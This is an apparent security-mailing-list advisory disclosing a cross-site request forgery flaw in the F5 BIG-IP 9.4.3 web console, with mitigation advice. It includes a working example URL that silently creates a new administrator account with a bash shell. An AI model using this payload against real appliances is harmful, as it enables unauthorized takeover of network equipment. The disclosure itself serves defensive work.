<<< Date Index >>>     <<< Thread Index >>>

F5 BIG-IP Web Management Console CSRF (with example)



F5 BIG-IP Web Management Console CSRF


Product: F5 BIG-IP
http://www.f5.com/products/big-ip/


By design the F5 BIG-IP web management interface allows a logged-in user with 
Resource Manager or Administrator privileges to execute an arbitrary bigpipe 
shell command through the web "Console" feature. It is possible to craft URL 
links that would execute the command with a simple HTTP GET request. Cross-site 
 attacks may leverage this functionality to reconfigure the BIG-IP appliance, 
including creating new administrators.


Example:

https://target/tmui/Control/form?
handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=
&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=
&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=
&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all


The vulnerability has been identified in version 9.4.3. However, other versions 
may be also affected.


Solution:
Administrators should not browse untrusted sites while logged into the BIG-IP 
web management interface. It is not possible to log out of the interface so it 
is important to shut down the browser after the interface is no longer needed. 
Closing the interface browser window or removing the BIG-IP cookie is not 
sufficient.


Found by:
nnposter